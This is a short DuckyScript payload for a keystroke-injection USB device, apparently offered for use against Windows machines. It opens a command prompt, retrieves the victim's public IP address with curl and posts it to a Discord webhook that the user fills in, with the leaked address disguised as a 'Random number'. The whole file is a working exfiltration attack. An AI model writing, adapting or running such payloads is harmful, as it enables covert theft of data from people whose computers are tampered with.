15 lines
422 B
Text
15 lines
422 B
Text
REM to be run on windows systems. replace "YOUR_DISCORD_WEBHOOK_URL" in line 13 to your own discord webhook.
|
|
DELAY 500
|
|
GUI r
|
|
DELAY 500
|
|
STRING cmd
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
STRING for /f "delims=" %i in ('curl ipv4.icanhazip.com') do set IP_ADDR=%i
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 1000
|
|
STRING curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Random number: %IP_ADDR%\"}" YOUR_DISCORD_WEBHOOK_URL
|
|
DELAY 500
|
|
ENTER
|